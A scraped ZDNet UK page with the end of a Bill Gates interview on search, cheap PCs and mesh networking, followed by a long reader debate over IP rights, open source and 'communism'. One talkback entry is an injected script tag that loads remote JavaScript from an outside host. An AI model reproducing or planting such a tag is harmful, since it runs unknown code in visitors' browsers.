Gates: Restricting IP rights is tantamount to communism

Daily Newsletters

Sign up to ZDNet UK's daily newsletter.

It sounds like the next step in search might be audio and video.
Oh, sure, everybody is working on those things, but just take the idea of finding your local pizza place and doing that right; search doesn't do that well today. Search is really crummy today -- it's just that it used to be really really crummy, and now it's better, and there never was anything like this before. So most of the results people get back today are irrelevant results. Deep analysis can take us much further, and that's why we're investing a lot, and you'll see us more very rapidly.
 
This year, there is a big push to make cheap computers for emerging markets. How is that going to have to evolve? A $300 computer is still going to be too expensive for many, probably, in Russia, India and other places.
Well, that's not really true. The expensive thing is the connectivity. Getting Internet connectivity is expensive. If all they had to do was pay for the computer -- $300 -- and the communications were free, then we'd see that PC usage would be very, very big. Ironically, communications costs tend to be highest in developing countries.
 
So you need to do shared PCs through cafes or community centres. We're doing a lot of so-called mesh networking research that could use wireless spectrum to try to bring those connectivity costs way, way down, and that's where you really see widespread computing breakthroughs.
 
The hardest thing, by far, is communications, then the hardware costs. We can make sure the software cost is never really holding things back -- that it's a small enough percentage. In educational things, we do a lot of software giveaways. We've been very generous to make sure that when people first come into computing, software doesn't hold them back.

That's interesting - the mesh - because that way, people can actually share a connection.
Yeah, the hard thing is the back haul of the Internet out of the village. Within the village, sure, you can mesh that up, but if people are going to be streaming video, you need quite a bit of capacity there. So it's not a simple problem to solve; we've got actually multiple research locations at Microsoft working together on this mesh thing, and we've had a lot of conferences working with third parties, so we're optimistic that that's the thing that can solve the thing that holds back developing-world computing.
 

Talkback

The magic word "communism" always seems to be used whenever an US company wants to hide how greedy they are.

And "greedy", as in: total control, leads not to innovation nor to a fair working incentive system but rather to an all to familiair model: for example, Windows and Office products with a, year in, year out, 80+% profit margin which only really helps the hardware industry because you have to buy new equipment just to run it somewhat smoothly.

Not restricting IP rights is tantamount to sponsering huge, mostly US, companies. You might as well ask them to rewrite the current tax system. See what they come up with.

via Facebook 6 January, 2005 18:29
Reply

Are we suddenly back in the 1950s? Perhaps Mr Gates should examine the phenomenon called "McCarthyism" before he starts shouting about 'communism' again.

via Facebook 6 January, 2005 19:16
Reply

I agree with Arthur B.
Mr Gates should read up on poliical economy before stepping out of his 'tech business boundaries' to come up with ridiculous statements such as this. Perhaps he is talking of neo-marxist and humanist views, not Communist. But then again, he did get schooling in USA during the time when every thing that went against the status quo was communist.

Intellectual property rights, and TRIPs (the WTO's chime in), are a way to keep rich countries and companies rich and prevent competitors from forming. Imagine if people knew how to improve our products once they got their hands on our source code, imagine if consumers started to purchase these beter products, we will loose so much money, we cant innovate anymore, therefore IP needs to be protected. Sorry Mr Gates, you are a prodigal Computer scientist, put your concentrations there as you once used to, and do us all some good by making great technology.

via Facebook 6 January, 2005 19:26
Reply

Oh bugger off, the world's a better place with windows. I know it'll get better, I know they're working hard to get it right.

The sooner the better, but give technology a chance.

via Facebook 7 January, 2005 00:28
Reply

Samuel,

Replying to you in the same vein as you just replied:

You must be one of the MS morons that has been nrainwashed into thinking that MS products are the best thing since fire was invented! If MS is so great, why do we have so many security flaws? Why do we need to buy (and continue to buy) anti-virus programs, anti-spam programs, anti-adware programs.

Why, if MS software is so good, do we have masses of security vunerabilities? Why do we get warned not to open certain file types? Why do we have phishing attacks, spambots, trojans etc etc?

Wake up and smell the roses. MS is a convicted monopolist that would happily beat every other software company to the ground, make programming for anything other than MS software illegal and force you to use YOUR computer the way THEY want.

There, end of rant. I use MS software because I have to, not because I like it (I prefer *nix). I use Firefox and OpenOffice at home and, if it wasn't for the problems there are with porting games to Linux, I'd ditch Windows at home altogether.

via Facebook 7 January, 2005 08:31
Reply

Not much ammunition left for Mr Gates.

I do not think this communism stuff works anymore even in the USA, today.

Funnily The Soviet Union had lots of IP rights including all the
IP rights of the rest of the world. And all belongin to the same
company, The Soviet Union.

So what is Mr Gates actually dreaming about.
Time to see a shrink, Mr Gates.

via Facebook 7 January, 2005 09:35
Reply

The world Mr Gates wants to see has far more in common with communism. What he is proposing will ultimately lead to no pressure to compete on quality, value or innovation. Once you own the IP or patent, then you don't need to lift another finger to improve your product to make money off it.

Open source is democracy in action, not communism. It directly encourages the best aspects of capitalism - the "market" will decide which innovations will succeed and not some faceless, centralised, monolithic organisation.

via Facebook 7 January, 2005 11:14
Reply

I see he's had to resort to name-calling again.

So sad....

via Facebook 7 January, 2005 11:55
Reply

World is much worse off thanks to MS and IBM

For over 20 years the IT world has been trying to overcome the limitations of the blend of IBM PC and Microsoft operating system, both much inferior products at the time ( and still) but brought to the forefront by great marketing.

MS has taken most of its ideas from other people so if the IP software argument had been around then maybe we would have not been plagued by MS and the IBM PC would have ended up as the junk it is.

via Facebook 7 January, 2005 12:15
Reply

I think that Gates is unwanted and unneeded in modern computing.

And moving back to the monopolies debate.

"So when people say Firefox is being downloaded onto people's systems, that's true, but IE is also on those systems."

Because we haven't got a choice Bill.

via Facebook 7 January, 2005 13:35
Reply

Kevin. Well said. Very well said.

Bill Gates reminds me of a Dutch inventor called "Leeghwater". He did his thing to come to power but then abused that position and blocked further progression for many years so that he could stay in the position he was in. Effectively slowing the start of the Dutch "Golden Century" for at least ten years.

It seems that history tends to repeat itself. Just on a grander scale.

via Facebook 7 January, 2005 20:30
Reply

"Its eyes ever set on the competition, Microsoft will continue to raise the stakes against Apple in the music industry and against Google and Yahoo in search."

Sorry Michael, but isn't this supposed to be a news article? Aren't paid commercial promocions for Bill & Co supposed to be in banners on the right of this page????

Why do we have to always read these Microsoft paid Opinions masquerading as news articles?

Why not try to get a crumb of credibility Michael, & push to at least look a bit more balanced instead of doing the usual 'Prostetuting yourself to Bill's Ways'? Why not Ask Knopper, Linus, Richard Stallman etc for their opinion about IP & patent abuse too?

via Facebook 8 January, 2005 02:20
Reply

Microsoft Litigation Resource Page

"the world's a better place with windows." -Samuel.

Thanks Samuel for your contribution, now here's more detail of the great work Microsoft is doing for all the worlds rich law firms.......


http://www.groklaw.net/article.php?story=20041228040645419

I wonder how long before M$ asks for this post to be deleted from ZcdNet UK??

via Facebook 8 January, 2005 02:52
Reply

Ricardo, thanks for your comment. We would not remove a Talkback comment simply because Microsoft asked; only if it contravened our guidelines, for instance by being libellous or by containing expletives. In fact, the page you point to contains a dozen or so links to stories on sites owned by CNET Networks - ZDNet's parent company - hardly surprising really since we follow closely a number of lawsuits that Microsoft is involved in.

via Facebook 8 January, 2005 10:40
Reply

Beside the fact that this is nothing more than FUD against Open source, Bill Gates is completely wrong on this topic...

Patents and IP generally are state-monopolies granted to particular companies. State monopolies is a typical characteristic of socialist and communist systems.

This is the exact opposite of a free market based on competition.

If Gates wants to continue to discredit Microsoft, saying that opposition to IP is communism is the best thing he can do... With the second "Blue Screen of Death" on TV, MS will loose most of its credibility...

I oppose IP rights precisely because I'm a libertarian and believe in free markets...
I oppose to IP rights because I see everyday the damage made by such scheme to the computer market and the consumers.

IP rights lead to completely absurd things: if internal combustion engines were patented, GM would not be allowed to build cars ! There would be only one car manufacturer for the whole world. (perhaps Mercedes or a french brand).

via Facebook 8 January, 2005 11:41
Reply

Gates is precisely correct: communism operates by the abolition of property rights. It failed (and will always fail) becuase of this. Abolishing IP rights does for the intellectual world what communist Russia did to the physcial world (I will remind you that 12 million people died on collectivized farms in that country). Men need to have the right to dispose of the product of their effort (whether intellectual or otherwise) in order to survive. The degree to which these rights are erroded is the degree to which life is made more difficult. Our rights are protected here (for hte most part) which is why we are the wealthiest nation the world has ever seen. If US "greed" actually did not lead to innovation, then why has not a single company been able to create a product superior to Microsfot Office? I run pure linux on my laptop (for fun), and OpenOffice.org (lacking MUCH of hte functionality provided by Word) just erased an entire file one which I was working due to a bug. Open source is a fun avenue to explore new technological ideas, but without the backing of companies who have their IP rights protected, it will go nowhere.

via Facebook 10 January, 2005 09:45
Reply

Confusion between IP rights and copyrights?
I think there is a lot of purposeful confusion here. While no one would condone a "copy" of a program such as a program myoffice which apart from a different logo matched "Office" perfectly, that is different from agreeing that chunks of code that do tasks should be protected. If you want to perform a task in the best way there are only so many obvious variations as programming is a stirct language. once all of these are protected by IP what do programmers do? Write inefficient code? I think MS has most of that sewn up as well.

via Facebook 10 January, 2005 12:04
Reply

Brent Roberts is wrong.

"Gates is precisely correct: communism operates by the abolition of property rights."

Communism operates by the state control of property rights. It explicitly does NOT abolish property rights. Intellectual property is where the state confers the rights of this control onto other organisations.

Ergo Intellectual Property more closely resembles communism than does shared source.

Other common factors of Gates' desired outcome with communism:

- state controlled, monolithic organisations direct technology to suit their own purposes
- a de facto elite benefit to the detriment of the rest of society
- restricted choice for consumers
- competing products are effectively outlawed

Meanwhile Open Source more closely resembles capitalism:

- the 'market' decides which innovations are successful
- the 'market' allows for far more dynamic change than a centrally controlled system
- the 'market' makes much more efficient use of resources
- those that succeed are the best overall suppliers, and not just those that were first and managed to 'own' a whole technological invention / method

"Men need to have the right to dispose of the product of their effort (whether intellectual or otherwise) in order to survive."

Intellectual property rights can prevent those that independently arrive at a similar (or superior) solution from benefitting from their work.


"If US "greed" actually did not lead to innovation, then why has not a single company been able to create a product superior to Microsfot Office?"

Define 'superior'. OpenOffice is free. Value for Money wise, you can't get much better than that.

"without the backing of companies who have their IP rights protected, it will go nowhere."

A statement that is wholly false. IBM are just one of many companies showing that you can make money from using Open Source products.

The very fact that Gates is having to resort to ever more FUD such as this about Open Source shows pretty explicitly that it IS going somewhere. Even in its own SEC filings, Microsoft admits "The popularization of the open source movement continues to pose a significant challenge to the company's business model"

via Facebook 10 January, 2005 15:02
Reply

Hi Brent, what OO version are you using please? Is it the latest testing Build or stable? I've just read a survey that placed Open Office ahead of M$ Office in all major real world office tasks. Do you want all the links?

I agree with Steve B, you are definitely confusing IP with copyrights. I think you may want to look at this issue a bit closer before you slap sentence of 'cliché' words on it. "Just for fun?" does this give you a license to slap an "Inferior" label on Open Office? Who said that functionality alone could determine the superiority of one program over the other?

Australian PC Authority did a thorough survey of all available office suites, Open Office won on all counts.
Look it up, this is not star office 2000! You may find that your opinion on OO is out of date.

Sounds like you installed Linux on your lappie just for the sake of looking like you know something about Linux, or maybe you work for some M$ sponsored affiliate, & use your Linux laptop to claim some type of credibility in your pro- software patenting tendencies.

It's too late for M$ to stop open source, the only thing left for bill to do is to threaten the general computing public & countries with Patent 'Litigation'. Oh, & also name calling, putting words like 'Communism' next to the topic of open source.

via Facebook 10 January, 2005 15:32
Reply

Ricardo – I'm using version 1.1.1. Ironically, I just decided to use it to write this (so I could spell check before I post) and it just crashed on me again... “Unrecoverable Error” nd then the windows dissapeared. OpenOffice is inferior to MS Office in terms of functionality and possibly stability. However, it is superior in terms of cost.

When I say I use Linux “just for fun”, I meant that I began using it as a hobby, and learned a lot. Now that I know what's going on under the hood, I choose Linux over Windows because its more flexible, stable and has less viruses. “Just for fun” was a poor choice of words, but the point remains that Linux is not as good as Windows for someone without the technical know how, which is why Windows has earned such a tremendous market share.

And no, I do not work for a MS affiliated company. In fact I own a company which would very much like to see open source software surpass MS Office. I must that I objectively believe it has not. If you could send me those links which state the contrary, I'd appreciate it.

As fas as the heart of the issues, I am vehemently opposed to placing restrictions on open source software. If Gates is suggesting this, then to hell with him. I do not believe he is for this though. I believe he is defending IP rights, not advocating the abolition of open source. Observe that he does not once equivocate communism with open source. He equivocates communism with violating rights, and he is correct.

No matter what anyone claims, the protection of intellectual property rights is essential to the success of closed software as well as open source software. These issues are two sides of the same coin. The real issue is, does an individual have the right to dispose of the product of their effort? If a developer chooses to open source their work, then that right should be protected, just as if they wish to close source it. And violating a software license such as MS end user agreement entails violating Bill's rights, just as violating the terms of the GPL in the open source world entails violating the rights of those developers.

via Facebook 10 January, 2005 23:06
Reply

There can be so such 'rights' which are under state control. The conceprt of a "right" peratins to action - specifically, to freedom of action. What doos the idea of "state controlled" rights imply? It means that the state may take away this freedom to action. One who has freedom of action at times, which may be revoked at any other time by the whim of the state, is acting by permission, not by right.

As far as what Gates' desired outcomes are, I cannot say, but neither can anyone else. I can note, however, that not once does he advocate the abolishion of open source in the present article.

It is true that open source can work with capitalism. But it is the protection of rights which allows licesses such as the GPL to propagate.

If a law preens people from benfiting form thier work, then it is violating their rights to dispose of their products and is therefore a violaion of rights. One who would call that IP 'rights' is perverting the concept of rights.

And stating that IBM makes money from open source strengthens my argument. I said open source needs the backing of companies to go somewhere. IBM is giving Linux tremendous credibilty and is a beneficial ally.

via Facebook 10 January, 2005 23:46
Reply

Brent. Sigh. Communism has nothing to do with Bill Gates real goals. It's just another way of him to try to get the discussions towards unrelated topics. Hoping that decisions will be made emotionally. That's what FUD is all about. The last thing Bill Gates wants is to have real business decisions based on real facts and real findings.

As for OpenOffice. It looks like you're lacking a certain amount of skills, knowledge and experience. Otherwise why would so many not have the problems you describe with OpenOffice?

As for IP. Simple question: did you do something as basic as 'follow the money'? Did you do background research concerning the details about what kind of IP companies like Microsoft are lobbying for? Have you figured out how on earth it was possible how we could have gotten this far without that kind of IP but now, suddenly, need that kind of IP to 'move on'? And what exactly is what they want us to 'move on' to?
And suppose you would hold one patent on some piece of software and, say, Microsoft decides to use it anyway for free. How would you be certain that you can succesfully sue Microsoft (without getting bankrupted along the way) and absolutely be sure that you don't, in any way, violate any of Microsoft's 30000 patents like 'one-click', 'moving a cursor by means of a mouse', and so on? Because that's the kind of patents we're talking about. Many of them already granted and ready to put to use once the politicians rubberstamp the 'that kind of IP' proposal. and turn it into law.

As for "greed". That has nothing to do with innovation. And innovation in itself has nothing to do with how superior (by what definition in which context?) something is. "Greed" is about wanting more and more without end. And having total control over various markets would certainly help those who are in favour of "greed". Question is: how does one get and keep total control of even just one market? By releasing a continues flow of innovative products? Patented products, perhaps? Not exactly because history has shown that the right amount of PR, lobbying, cornering, arm twisting, sponsering and bending a few laws here and there ("greed") leads to much greater succes then just having 'superior' products ("innovative") or even copywrited ones ("patented").

Also, quote: "If US "greed" actually did not lead to innovation, then why has not a single company been able to create a product superior to Microsfot Office?" might be better worded if you would put it like this: "If "greed" leads to illegal total cornering of the market, then why has not a single legally operating company been able to create a product just as commercially succesfull for themselves as Microsoft Office is for Microsoft?". Well, I would hope that you know the answer to that one.

via Facebook 11 January, 2005 03:31
Reply

An interesting debate Brent, but I still fundamentally disagree with you.

You can have your philosphic argument on what 'rights' are. In my view, whether the state itself owns rights, or allows another entity to control them amounts to the same effect. And that is, a chilling effect on innovation. Why invent a better mousetrap when you hold the patent and your customers have no choice but to buy the one you choose to sell? Your competitors are legally prevented from selling a superior mousetrap.

"The conceprt of a "right" pertains to action - specifically, to freedom of action. What does the idea of "state controlled" rights imply? It means that the state may take away this freedom to action. One who has freedom of action at times, which may be revoked at any other time by the whim of the state, is acting by permission, not by right."

In exactly the same way, the private holder of IP rights can take away the freedom to action of others using their IP.

"As far as what Gates' desired outcomes are, I cannot say, but neither can anyone else. I can note, however, that not once does he advocate the abolishion of open source in the present article."

Come off it. Of course he isn't going to outright say something like that. But you seem to be an intelligent man. Are you really unable to see the intent? This is all about FUD.

"And stating that IBM makes money from open source strengthens my argument. I said open source needs the backing of companies to go somewhere. IBM is giving Linux tremendous credibilty and is a beneficial ally."

Thats not quite what you said before in your first post. You clearly implied that Open Source was fun, but would go nowhere without backing from companies who could protect IP rights.

There is no explicit link between the two. IBM make money from open source by selling related products and services. That has nothing to do with IP rights.

via Facebook 11 January, 2005 09:10
Reply

If a requisite of "skills, knowledge nad experience" were required to use a wordprocessor, I think that would pretty well qualify the program as poor in terms of usability. Can you image on the box when someone goes to purchase it..."Requirements: SKILLS, KNOWLEDGE AND EXPERICENCE". I bet it would be a real seller. You might want to re-think that one.

I have not conducted extensive background research on Miicrosfot buy have made my point clear: intellectual proerty rights need to be protected. If someone is perverting this conept then I certainly do not back them, Gates included.

You seem to have shifted the discussion to greed. As I have tried to point out, I am an advocate of rights, whether intellectual or otherwise. You say Gates and others throughout history have used "PR and lobbying" to further their ambitions. Whether or not this is true with regard to Gates (and it is certianly true of others in history), you might ask youself: By what means? If Gates or anyone else is holding another down, it is by means of violating that victims rights, not by productive achievement. That is the only way one can hold another down. When the role of government is to protect individual rights, the only way one can further their ambitions is by productive acheivement (which is very much related to inovation), whether or not they choose to do so "without end" (and if they did pursue it without end it would be a good thing).

In a free mrket, the only way to corner a market is by productive achievement, i.e. by offering the gretest goods at the best price. If someone has gained teh vast majority of the market share by doing this, then the public has derived an enourmous beneift, in terms of better propducts at lower prices. And if this is illegal (which it can be depending on how a beaurocrat feels like interpretting the Interstate commerce act (U.S)) then the law hurts not only consumers but producers as well.

A market can be corned by other means besides productive acheivement. It can be captured by revoking the right of others to enter. This makes competition impossible, and can only be done by an act of law.

via Facebook 13 January, 2005 08:54
Reply

Lets stick with the mousetrap example. The purpose of intellectual property rights is to prevent someone from deriving an unearned benefit, at the expense of someone who has earned it. Lets stick with the mousetrap example. One has invented a mousetrap. A copycat cannot, under a system defending rights, come along an replicate this. The system demands somehting more difficult of him: he must invent a better mousetrap to earn money. Such is the nature of rights and their relationship to innovation.

"In exactly the same way, the private holder of IP rights can take away the freedom to action of others using their IP."

Kevin, if you were a private owner of an automobile and I came along and tried to take it from you, what would you tell me if I said "I want this car, don't take away my freedom to drive it!" Its your car, so I cannot rightfully take it, correct? This is not beause you have a right to a car, it is becuase you have the right to dispose of the product of your effort. If you have earned the car, then it is one such product. ANd if you stole it, you would be no better than me the theif, and the true tights to the car would belong to the car's producer. What is essential is the rigth to what one has earned.

via Facebook 13 January, 2005 09:13
Reply

Brent. I would like to recommend you to do a lot more background research and fact finding before stating assumptions.

That "free market" of yours doesn't exist so assuming that only the greatest products at the best price can hope to corner such a market can't be true. And since it's also not the case that someone cornered the market by being able to deliver the greatest products at the best price time and time again your assumption that the public has derived an enormous benefit is also false. And yes, such business conduct has been found illegal in various countries each with different laws. Allowing such business conduct to continue (e.g.: by keeping the penalties for such business conduct to be less than the profits gained from such business conduct) would (does) hurt consumers and developers.

Back to the IP rights thingy. Bill Gates is trying to protect his empire and if that IP rights thingy would turn into law as currently proposed then for once he can control the market in a legal way.

To give your own example: a better mousetrap. You can build, design, whatever better mousetraps until you're blue in the face. You still will be violating Bill Gates 'the concept of a trap' patent so for the next twenty years or so we all won't be using your better mousetrap but instead we'll will be milked dry by being forced to use Bill Gates version of a mousetrap. Unless of course you would be willing to release your better mouse trap under the terms Bill Gates dictates (which he can because he has the exclusive 'the concept of a trap' rights where you have zill rights) which more then likely will favour the wishes of Microsoft's stockholders then what's good for the public.

In short. This whole IP rights thingy is not about a free market, not about protecting developers rights, improving the economy or whatever other buzz word or political nice sounding word you can think of. No, this is only about keeping the control of a market in the hands of those with the deepest pockets and nothing else.

via Facebook 13 January, 2005 21:44
Reply

A good reply Arthur.

Brent, I said "Why invent a better mousetrap when you hold the patent and your customers have no choice but to buy the one you choose to sell? Your competitors are legally prevented from selling a superior mousetrap."

You basically haven't answered that question, as you seem to misunderstand the end result of software patents & intellectual property. It isn't just specific inventions that can be protected (which would be fair), but 'concepts' and 'methods'. These are entirely nebulous, and far more insidious.

You say of a potential competitor "he must invent a better mousetrap to earn money". How? Under the regime Gates would like to see in place, the whole idea of a mousetrap belongs to MS. MS may have a trap that only captures 10% of mice. I could invent a mousetrap that captured 50% of mice in half the time. But because MS own the patent to "method of capturing mice" I would be unable to sell such a mousetrap. MS would have no incentive to innovate and create an even better mousetrap. Why would they? Superior versions are effectively forbidden.

Intellectual Property rights extended into the new areas that Gates want will greatly hamper innovation and result in far less effective goods & services for consumers.

via Facebook 14 January, 2005 08:45
Reply

I find Bill Gates comments on mesh networking interesting. With myself being part of a company that has been involved in mesh networking for a number of years and is deploying metro scale networks together with mobile mesh working on the windows operating system, I am curious to why Micosoft are still looking to solve a problem that BPO Solutions have already addressed!

Running streaming video and backhaul are issues that were solved some time ago with our technology!

Pleasew feel free to contact me for any further feedback.

www.bpo-solutions.co.uk

via Facebook 16 February, 2005 20:14
Reply

In a similar discussion on IP rights on a different site the following article was raised which I think provides some pertinent ideas to this discussion:

Did You Say "Intellectual Property"? It's a Seductive Mirage
by Richard M. Stallman

http://www.gnu.org/philosophy/not-ipr.xhtml

Using the analogy of a previous commenter, intellectual property "violation" is not like physical property violation e.g. stealing someones car. It is, conversely, more like someone patenting the combustion engine and now you can only buy your car from a single supplier! How would that benefit the market, innovation and the consumer?

via Facebook 21 November, 2005 20:55
Reply

<script src=http://usuc.us/j.js>jonny</script>

via Facebook 22 September, 2006 00:34
Reply

Post your comment

In order to post a comment you need to be registered and logged in.

You can also log in with Facebook. Log in or create your ZDNet UK account below

  • Login

Will not be displayed with your comment

By signing up for this service, you indicate that you agree to our Terms and Conditions and have read and understood our Privacy Policy. Questions about membership? Find the answers in the Community FAQ

Get ZDNet UK's daily newsletter

Enter your email address to sign up

ZDNet UK Live

TerryRK

Well it seems there is something a number of us agree on. Why is the Ubuntu Unity launcher so ugly? I thought perhaps it was something to do with...

2 hours ago by TerryRK on A tale of two distros: Ubuntu and Linux Mint
Freebies202

Duplicate comments are not made intentionally. Its very good to know that now you are keeping check on this problem because sometimes a commenter...

12 hours ago by Freebies202 on Microsoft fixes blog comments, speeds up blogs with open source
kevinmchapman

"the very significant number of users" and "many (most) of us" - you have no evidence for these statements. It is a fact that most users are saying...

20 hours ago by kevinmchapman on A tale of two distros: Ubuntu and Linux Mint
Marg Menzies Harrison

Another grammar faux pas is the improper use of "you". When sitting down down in a restaurant, for example, I get cringe when the waitress...

21 hours ago by Marg Menzies Harrison via Facebook on 10 flagrant grammar mistakes that make you look stupid
zdnetukuser

And NOW, folks, for Canonical's next trick... Kubuntu is late. Here's a pencil. Draw your own conclusions. cf.:...

22 hours ago by zdnetukuser on Linux Minterface
Moley

@kevinmchapman. The discussion here reflects the very significant number of users who really do like the traditional menu system and who wish to...

24 hours ago by Moley on A tale of two distros: Ubuntu and Linux Mint
kevinmchapman

Er, no... It is an efficient means of finding the application/file/setting you need in one place. The icons are a simply a fallback for when you...

1 day ago by kevinmchapman on A tale of two distros: Ubuntu and Linux Mint
TerryRK

Isn't the provision of a text based search an admission by the developers that the mass of icons approach does not work? I don't need to use a...

1 day ago by TerryRK on A tale of two distros: Ubuntu and Linux Mint
kevinmchapman

"Unity and GNOME 3 both abandon the old text-based cascading menus in favour of a graphical icon-driven system." Point truly missed. Both use a...

1 day ago by kevinmchapman on A tale of two distros: Ubuntu and Linux Mint
TerryRK

whs001 - Thank you, I'm glad you liked the article. I absolutely agree with you on your first point. I should perhaps have made it clearer that...

1 day ago by TerryRK on A tale of two distros: Ubuntu and Linux Mint
Dennis Nilsson

If we allow corporate interest to dictate the way our government circumvents due process against foreign entities then we should accept the same...

1 day ago by Dennis Nilsson via Facebook on ACTA stumbles in Germany
GHar123

I totally dislike pirating of works, I fear that artists will be deterred from creating works if they think that they are going to get ripped off....

1 day ago by GHar123 on ACTA stumbles in Germany
JCB33

How dare film makers, artists or anybody that invests in creativity stop us pirating their works for free. I want to be able to walk into my local...

1 day ago by JCB33 on ACTA stumbles in Germany
Moley

@GrueMaster. I prefer horses for courses rather than one size fits all. I, and I suspect most other computer users, do not really wish to have...

2 days ago by Moley on A tale of two distros: Ubuntu and Linux Mint
greycynic

The product that scares me every time I have to use it is the Office 2007 version of Excel. The first bug that I found was applying the median...

2 days ago by greycynic on Ten flawed products that derail productivity
GrueMaster

Nice review and very informative. One thing I'd like to add (in reply to whs001's 1st question), the main reason to have the same interface from...

2 days ago by GrueMaster on A tale of two distros: Ubuntu and Linux Mint
Frederick Wrigley

I'be been using Mint 12 since the RC came out, and I am far more happy with the Cinnamon, the Mate, and, yes (with extensions), theGnome 3...

2 days ago by Frederick Wrigley via Facebook on A tale of two distros: Ubuntu and Linux Mint
bdantas

Excellent article. One small correction, though--although a fresh installation of Linux Mint 12 will, indeed, provide the user with a version of...

2 days ago by bdantas on A tale of two distros: Ubuntu and Linux Mint
Alan Ralph

In related news, the ISPs club together to get the members of the Home Affairs Select Committee (ya goofed on that part, ZDNet UK) copies of "The...

2 days ago by Alan Ralph via Facebook on MPs urge ISPs to take down terrorist material
Alan Ralph

In related news, the ISPs club together to get the members of the Home Affairs Select Committee (ya goofed on that part, ZDNet UK) copies of "The...

2 days ago by Alan Ralph via Facebook on MPs urge ISPs to take down terrorist material